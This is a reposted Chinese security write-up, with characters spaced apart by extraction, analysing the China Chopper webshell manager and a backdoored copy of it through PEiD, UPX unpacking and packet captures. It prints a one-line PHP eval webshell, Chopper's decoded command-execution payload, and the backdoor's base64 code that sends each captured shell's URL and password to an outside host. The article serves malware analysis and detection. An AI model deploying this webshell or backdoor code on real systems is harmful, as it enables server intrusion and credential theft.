搜索

[21780] 2021-03-16_干货实战分析菜刀及隐藏后门

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-16_干货实战分析菜刀及隐藏后门 干 货 | 实 战 分 析 菜 刀 及 隐 藏 后 门 L e m o n S e c   2 0 2 1 - 0 3 - 1 6 0 x 0 0   前 言 前 言 今 日 在 w e b 课 程 中 看 到 了 分 析 菜 刀 后 门 的 实 验 ， 然 后 就 跟 着 实 验 做 了 一 遍 ， 正 好 可 以 学 习 一 下 如 何 分 析 软 件 的 后 门 。 0 x 0 1   基 本 知 识 基 本 知 识 中 国 菜 刀 中 国 菜 刀 是 一 款 专 业 的 网 站 管 理 软 件 ， 用 途 广 泛 ， 使 用 方 便 ， 小 巧 实 用 。 只 要 支 持 动 态 脚 本 的 网 站 ， 都 可 以 用 中 国 菜 刀 来 进 行 管 理 ！ 在 非 简 体 中 文 环 境 下 使 用 ， 自 动 切 换 到 英 文 界 面 。 U I N C O D E 方 式 编 译 ， 支 持 多 国 语 言 输 入 显 示 w i n s o c k   e x p e r t 一 个 用 来 监 视 和 修 改 网 络 发 送 和 接 收 数 据 的 程 序 ， W i n S o c k   E x p e r t 可 以 用 来 帮 助 您 调 试 网 络 应 用 程 序 ， 分 析 网 络 程 序 的 通 信 协 议 （ 如 分 析 O I C Q 的 发 送 接 收 数 据 ） ， 并 且 在 必 要 的 时 候 能 够 修 改 发 送 的 数 据 U P X U P X   ( t h e   U l t i m a t e   P a c k e r   f o r   e X e c u t a b l e s ) 是 一 款 先 进 的 可 执 行 程 序 文 件 压 缩 器 ， 压 缩 过 的 可 执 行 文 件 体 积 缩 小 5 0 % - 7 0 %   ， 这 样 减 少 了 磁 盘 占 用 空 间 、 网 络 上 传 下 载 的 时 间 和 其 它 分 布 以 及 存 储 费 用 。 通 过   U P X   压 缩 过 的 程 序 和 程 序 库 完 全 没 有 功 能 损 失 和 压 缩 之 前 一 样 可 正 常 地 运 行 ， 对 于 支 持 的 大 多 数 格 式 没 有 运 行 时 间 或 内 存 的 不 利 后 果 。 W i r e s h a r k W i r e s h a r k 是 免 费 的 网 络 协 议 检 测 分 析 程 序 。 让 您 经 由 程 序 抓 取 运 行 的 网 站 的 相 关 资 讯 ， 包 括 每 一 封 包 流 向 及 其 内 容 、 资 讯 可 依 操 作 系 统 语 系 看 出 , 方 便 查 看 、 监 控 T C P   s e s s i o n 动 态 等 等 。 P E I D 一 款 专 业 很 好 用 的 查 壳 软 件 ， 几 乎 可 以 侦 测 出 所 有 的 壳 ， 其 数 量 已 超 过 4 7 0   种 P E 文 档   的 加 壳 类 型 和 签 名 ， 另 外 还 可 识 别 出 E X E 文 件 是 用 什 么 语 言 编 写 的 ， 比 如 ： V C + + 、 D e l p h i 、 V B 或 D e l p h i 等 。 工 具 下 载 地 址 0 x 0 2   分 析 正 常 菜 刀 分 析 正 常 菜 刀 市 面 上 的 中 国 菜 刀 有 很 多 版 本 ， 有 些 版 本 可 能 会 被 不 发 分 析 植 入 了 后 门 ， 那 么 我 们 怎 么 知 道 自 己 使 用 的 菜 刀 会 不 会 被 植 入 了 后 门 尼 ？ 那 就 来 简 单 的 分 析 下 吧 2 . 1   静 态 分 析 中 国 菜 刀 静 态 分 析 中 国 菜 刀 菜 刀 的 文 件 类 型 . e x e 的 可 执 行 程 序 ， 那 么 就 要 分 析 改 工 具 使 用 什 么 语 言 写 的 了 。 通 过 p e i d 等 工 具 可 以 看 出 来 是 使 用 u p x 加 壳 了
在 通 过 w i n h e x 查 看 下 ， 同 样 显 示 也 是 u p x 加 壳 既 然 加 壳 了 ， 那 就 脱 壳 吧 ， 使 用 u p x 脱 壳
脱 壳 成 功 后 在 放 入 p e i d 检 测 一 下 看 看 ， 得 知 使 用 v c + + 6 . 0 开 发 的 ， 用 C + + 写 的 。 2 . 2   动 态 分 析 菜 刀 动 态 分 析 菜 刀 环 境 ： 靶 机 ： W i n d o w s   s e r v e r   2 0 0 3   – 1 9 2 . 1 6 8 . 1 . 1 3 4 攻 击 机 ： W i n d o w s   7 – 1 9 2 . 1 6 8 . 1 . 1 3 1 在 靶 机 上 写 一 个 p h p 一 句 话 放 在 网 站 的 根 目 录 下 ， 如 c a o d a o . p h p , 内 容 为 然 后 在 攻 击 机 上 使 用 菜 刀 连 接 < ? p h p   @ e v a l ( $ _ P O S T [ ' c h o p p e r ' ] ) ; ? >
成 功 连 接 上 开 启 w i r e s h a r k 监 听 本 地 的 数 据 包 ， 过 滤 规 则 写 i p . a d d r = 1 9 2 . 1 6 8 . 1 . 1 3 1 , 然 后 返 回 菜 刀 ，
输 入 n e t s t a t   - a n   |   f i n d   “ E S T A B L I S H E D ” 或 者 w h o a m i 这 类 c m d 命 令 然 后 在 w i r e s h a r k 中 找 到 靶 机 和 攻 击 机 的 i p 地 址 给 攻 击 机 和 靶 机 通 信 的 数 据 包 加 上 颜 色 ， 方 便 查 看
找 到 靶 机 和 攻 击 机 通 过 H T T P 协 议 通 信 的 数 据 包 ， 按 下 图 操 作 ， 我 们 可 以 追 踪 t c p 流 来 查 看 整 个 t c p 数 据 交 互 过 程 上 面 红 色 部 分 为 攻 击 机 P O S T 提 交 控 制 命 令 的 内 容 ， 下 面 蓝 色 部 分 为 靶 机 返 回 结 果 从 红 色 部 分 我 们 可 以 看 到 一 共 有 z 0 , z 1 , z 2 三 个 参 数 ， 我 们 使 用 b u r p s u i t e 自 带 的 d e c o d e r 模 块 进 行 解 码 可 以 看 到 红 色 部 分 的 代 码 经 过 b a s e 6 4 以 及 u r l 的 编 码 ， 我 们 解 码 看 看 解 码 的 顺 序 依 次 为 u r l 解 码 ， 然 后 再 b a s e 6 4 解 码 ， 得 到 明 文
z 0 = @ i n i _ s e t ( “ d i s p l a y _ e r r o r s ” , ” 0 ” ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o ( “ > | ” ) ; ; $ p = b a s e 6 4 _ d e c o d e ( $ _ P O S T [ “ z 1 ” ] ) ; $ s = b a s e 6 4 _ d e c o d e ( $ _ P O S T [ “ z 2 ” ] ) ; $ d = d i r n a m e ( $ _ S E R V E R [ “ S C R I P T _ F I L E N A M E ” ] ) ; $ c = s u b s t r ( $ d , 0 , 1 ) = = ” / “ ? ” - c   " { $ s } " “ : ” / c   " { $ s } " “ ; $ r = ” { $ p } { $ c } ” ; @ s y s t e m ( $ r . ”   2 > & 1 ” , $ r e t ) ; p r i n t   ( $ r e t ! = 0 ) ? ” r e t = { $ r e t } ” : ” ” ; ; e c h o ( “ | < - “ ) ; d i e ( ) ; z 1 = c m d z 2 = c d   / d   “ C : p h p S t u d y P H P T u t o r i a l W W W " & n e t s t a t   - a n   |   f i n d   “ E S T A B L I S H E D ” & e c h o   [ S ] & c d & e c h o   [ E ] z 1 的 值 是 c m d ， z 2 的 值 是 c d   / d   “ c : i n e t p u b w w w r o o t ” & w h o a m i & e c h o   [ S ] & c d & e c h o   [ E ] 。 该 操 作 的 意 思 就 是 执 行 输 入 的 c m d 命 令 ， 列 出 当 前 用 户 与 当 前 目 录 ， 执 行 结 果 如 下 所 示 我 们 输 入 其 他 的 命 令 的 话 ， 当 然 也 是 可 以 通 过 同 样 的 流 程 进 行 分 析 以 上 就 是 中 国 菜 刀 的 流 量 通 信 的 特 征 了 解 了 正 常 的 菜 刀 是 如 何 工 作 的 ， 接 下 来 我 们 看 看 被 植 入 恶 意 后 门 的 菜 刀 是 怎 样 的 。 0 x 0 3   分 析 后 门 菜 刀 分 析 后 门 菜 刀 为 了 与 前 一 个 菜 刀 的 分 析 流 程 进 行 区 分 ， 我 们 这 一 步 特 地 选 用 了 另 外 一 个 菜 刀 ， 使 用 另 外 一 个 抓 包 软 件 进 行 分 析 。 打 开 菜 刀 ， 启 动 抓 包 软 件 W S o c k E x p e r t ， 点 击 左 上 角 的 文 件 夹 图 标 ， 选 择 c a i d a o . e x e ， 点 击 o p e n 即 可
然 后 使 用 带 后 门 的 菜 刀 连 接 s h e l l ， 连 接 虚 拟 终 端 执 行 命 令 在 w i n s o c k E x p e r t 中 查 看 菜 刀 的 通 信 数 据
注 ： 由 于 没 有 在 网 上 找 到 带 有 后 门 的 菜 刀 ， 所 以 下 面 的 数 据 都 是 参 考 网 上 带 有 后 门 菜 刀 的 数 据 完 整 的 p o s t 内 容 是 ： 被 u r l e n c o d e + b a s e 6 4 了 ， 看 着 有 点 乱 ， 先 u r l d e c o d e 下 ： a = % 2 4 _ % 3 D s t r r e v % 2 8 e d o c e d _ 4 6 e s a b % 2 9 % 3 B % 4 0 e v a l % 2 8 % 2 4 _ % 2 8 % 2 4 _ P O S T % 5 B z 0 % 5 D % 2 9 % 2 9 % 3 B & z 0 = Q G V 2 Y W w o Y m F z Z T Y 0 X 2 R l Y 2 9 k Z S g n Y V d Z b 0 p G O U R U M D l M U 1 V W Y k o w e D V h M l V u W F N F O U 1 T b D d j M l Y w W T I 5 d m E y b G x L Q 2 R N Z V d 0 b E p 5 d 3 h L V H R B W m 1 s c 1 p T Z 2 5 h S F I w Y 0 R v d k w z Z D N k e T V u Y j I 5 a 1 p H O W 5 M b W x 1 T D B G d 2 F T N X d h S E E v V l h K c 1 B T Y 3 V K R j l U U l Z K V 1 J W S m J K M G h V V k Z C Z l N F O V R W Q 2 R k T G l S Z l U w V l N W a 1 Z T V 3 l k U 1 J W R l Z S V k 5 V W D F W U 1 N T Z G R M a W N t V U d G e m N 6 M G 5 M b X R s Z V N n a 1 g x Q l B V M V F w S 1 R 0 O S c p K T t A a W 5 p X 3 N l d C g i Z G l z c G x h e V 9 l c n J v c n M i L C I w I i k 7 Q H N l d F 9 0 a W 1 l X 2 x p b W l 0 K D A p O 0 B z Z X R f b W F n a W N f c X V v d G V z X 3 J 1 b n R p b W U o M C k 7 Z W N o b y g i L T 5 8 I i k 7 O y R E P W R p c m 5 h b W U o J F 9 T R V J W R V J b I l N D U k l Q V F 9 G S U x F T k F N R S J d K T t p Z i g k R D 0 9 I i I p J E Q 9 Z G l y b m F t Z S g k X 1 N F U l Z F U l s i U E F U S F 9 U U k F O U 0 x B V E V E I l 0 p O y R S P S J 7 J E R 9 X H Q i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z v c m V h Y 2 g o c m F u Z 2 U o I k E i L C J a I i k g Y X M g J E w p a W Y o a X N f Z G l y K C J 7 J E x 9 O i I p K S R S L j 0 i e y R M f T o i O 3 0 k U i 4 9 I l x 0 I j s k d T 0 o Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C d w b 3 N p e F 9 n Z X R l Z 2 l k J y k p P 0 B w b 3 N p e F 9 n Z X R w d 3 V p Z C h A c G 9 z a X h f Z 2 V 0 Z X V p Z C g p K T o n J z s k d X N y P S g k d S k % 2 F J H V b J 2 5 h b W U n X T p A Z 2 V 0 X 2 N 1 c n J l b n R f d X N l c i g p O y R S L j 1 w a H B f d W 5 h b W U o K T s k U i 4 9 I i h 7 J H V z c n 0 p I j t w c m l u d C A k U j s 7 Z W N o b y g i f D w t I i k 7 Z G l l K C k 7 a = $ _ = s t r r e v ( e d o c e d _ 4 6 e s a b ) ; @ e v a l ( $ _ ( $ _ P O S T [ z 0 ] ) ) ; & z 0 = Q G V 2 Y W w o Y m F z Z T Y 0 X 2 R l Y 2 9 k Z S g n Y V d Z b 0 p G O U R U M D l M U 1 V W Y k o w e D V h M l V u W F N F O U 1 T b D d j M l Y w W T I 5 d m E y b G x L Q 2 R N Z V d 0 b E p 5 d 3 h L V H R B W m 1 s c 1 p T Z 2 5 h S F I w Y 0 R v d k w z Z D N k e T V u Y j I 5 a 1 p H O W 5 M b W x 1 T D B G d 2 F T N X d h S E E v V l h K c 1 B T Y 3 V K R j l U U l Z K V 1 J W S m J K M G h V V k Z C Z l N F O V R W Q 2 R k T G l S Z l U w V l N W a 1 Z T V 3 l k U 1 J W R l Z S V k 5 V W D F W U 1 N T Z G R M a W N t V U d G e m N 6 M G 5 M b X R s Z V N n a 1 g x Q l B V M V F w S 1 R 0 O S c p K T t A a W 5 p X 3 N l d C g i Z G l z c G x h e V 9 l c n J v c n M i L C I w I i k 7 Q H N l d F 9 0 a W 1 l X 2 x p b W l 0 K D A p O 0 B z Z X R f b W F n a W N f c X V v d G V z X 3 J 1 b n R p b W U o M C k 7 Z W N o b y g i L T 5 8 I i k 7 O y R E P W R p c m 5 h b W U o J F 9 T R V J W R V J b I l N D U k l Q V F 9 G S U x F T k F N R S J d K T t p Z i g k R D 0 9 I i I p J E Q 9 Z G l y b m F t Z S g k X 1 N F U l Z F U l s i U E F U S F 9 U U k F O U 0 x B V E V E I l 0 p O y R S P S J 7 J E R 9 X H Q i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z
毫 无 疑 问 ， 我 们 需 要 分 析 的 是 z 0 这 个 被 b a s e 6 4 的 部 分 ， 解 码 看 看 ： 后 面 一 部 分 是 熟 悉 的 菜 刀 的 代 码 ， 但 前 面 为 什 么 居 然 还 有 一 段 加 密 的 呢 ， 接 着 解 , 解 出 来 的 结 果 这 里 的 h t t p : / / w w w . g o o d d o g . i n / A p i . p h p 就 是 这 个 菜 刀 的 后 门 地 址 。 H T T P _ H O S T 就 是 我 们 拿 到 s h e l l 的 网 站 ， R E Q U E S T _ U R I 就 是 s h e l l 的 U R I , P a s s 就 是 我 们 菜 刀 连 接 一 句 话 时 的 密 码 这 段 代 码 的 大 概 意 思 就 是 ， 会 将 我 们 拿 到 s h e l l 的 网 站 的 地 址 ， 密 码 等 都 通 过 后 门 传 送 给 这 个 网 站 的 所 有 者 。 这 样 ， 我 们 就 分 析 出 了 这 个 菜 刀 是 存 在 后 门 的 。 0 x 0 4   总 结 总 结 整 个 分 析 的 过 程 ， 基 本 上 没 有 什 么 难 的 地 方 。 以 后 在 网 上 下 载 一 些 报 毒 的 文 件 ， 都 可 以 这 样 来 分 析 一 下 会 不 会 被 植 入 了 后 门 ， 像 前 一 阵 子 的 p h p s t u d y 一 样 ， 引 起 了 很 大 的 风 波 。 参 考 链 接 参 考 链 接 h t t p : / / w w w . h e t i a n l a b . c o m / e x p c . d o ? c e = 8 5 d 1 4 d 4 e - 5 b 3 6 - 4 2 b 9 - 9 4 1 5 - 4 5 3 e f a 3 5 d e 6 0 作 者 ： m a d c o d i n g ， 文 章 来 源 ： m a d c o d i n g ’ s   b l o g y b m F t Z S g k X 1 N F U l Z F U l s i U E F U S F 9 U U k F O U 0 x B V E V E I l 0 p O y R S P S J 7 J E R 9 X H Q i O 2 l m K H N 1 Y n N 0 c i g k R C w w L D E p I T 0 i L y I p e 2 Z v c m V h Y 2 g o c m F u Z 2 U o I k E i L C J a I i k g Y X M g J E w p a W Y o a X N f Z G l y K C J 7 J E x 9 O i I p K S R S L j 0 i e y R M f T o i O 3 0 k U i 4 9 I l x 0 I j s k d T 0 o Z n V u Y 3 R p b 2 5 f Z X h p c 3 R z K C d w b 3 N p e F 9 n Z X R l Z 2 l k J y k p P 0 B w b 3 N p e F 9 n Z X R w d 3 V p Z C h A c G 9 z a X h f Z 2 V 0 Z X V p Z C g p K T o n J z s k d X N y P S g k d S k / J H V b J 2 5 h b W U n X T p A Z 2 V 0 X 2 N 1 c n J l b n R f d X N l c i g p O y R S L j 1 w a H B f d W 5 h b W U o K T s k U i 4 9 I i h 7 J H V z c n 0 p I j t w c m l u d C A k U j s 7 Z W N o b y g i f D w t I i k 7 Z G l l K C k 7 _ @ e v a l ( b a s e 6 4 _ d e c o d e ( * a W Y o J F 9 D T 0 9 L S U V b J 0 x 5 a 2 U n X S E 9 M S l 7 c 2 V 0 Y 2 9 v a 2 l l K C d M e W t l J y w x K T t A Z m l s Z S g n a H R 0 c D o v L 3 d 3 d y 5 n b 2 9 k Z G 9 n L m l u L 0 F w a S 5 w a H A / V X J s P S c u J F 9 T R V J W R V J b J 0 h U V F B f S E 9 T V C d d L i R f U 0 V S V k V S W y d S R V F V R V N U X 1 V S S S d d L i c m U G F z c z 0 n L m t l e S g k X 1 B P U 1 Q p K T t 9 * ) ) ; @ i n i _ s e t ( " d i s p l a y _ e r r o r s " , " 0 " ) ; @ s e t _ t i m e _ l i m i t ( 0 ) ; @ s e t _ m a g i c _ q u o t e s _ r u n t i m e ( 0 ) ; e c h o ( " - > | " ) ; ; $ D = d i r n a m e ( $ _ S E R V E R [ " S C R I P T _ F I L E N A M E " ] ) ; i f ( $ D = = " " ) $ D = d i r n a m e ( $ _ S E R V E R [ " P A T H _ T R A N S L A T E D " ] ) ; $ R = " { $ D } t " ; i f ( s u b s t r ( $ D , 0 , 1 ) ! = " / " ) { f o r e a c h ( r a n g e ( " A " , " Z " )   a s   $ L ) i f ( i s _ d i r ( " { $ L } : " ) ) $ R . = " { $ L } : " ; } $ R . = " t " ; $ u = ( f u n c t i o n _ e x i s t s ( * p o s i x _ g e t e g i d * ) ) ? @ p o s i x _ g e t p w u i d ( @ p o s i x _ g e t e u i d ( ) ) : * * ; $ u s r = ( $ u ) ? $ u [ * n a m e * ] : @ g e t _ c u r r e n t _ u s e r ( ) ; $ R . = p h p _ u n a m e ( ) ; $ R . = " ( { $ u s r } ) " ; p r i n t   $ R ; ; e c h o ( " | < - " ) ; d i e ( ) ; i f ( $ _ C O O K I E [ * L y k e * ] ! = 1 ) { s e t c o o k i e ( * L y k e * , 1 ) ; @ f i l e ( * h t t p : / / w w w . g o o d d o g . i n / A p i . p h p ? U r l = * . $ _ S E R V E R [ * H T T P _ H O S T * ] . $ _ S E R V E R [ * R E Q U E S T _ U R I * ] . * & P a s s = * . k e y ( $ _ P O S T ) ) ; }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理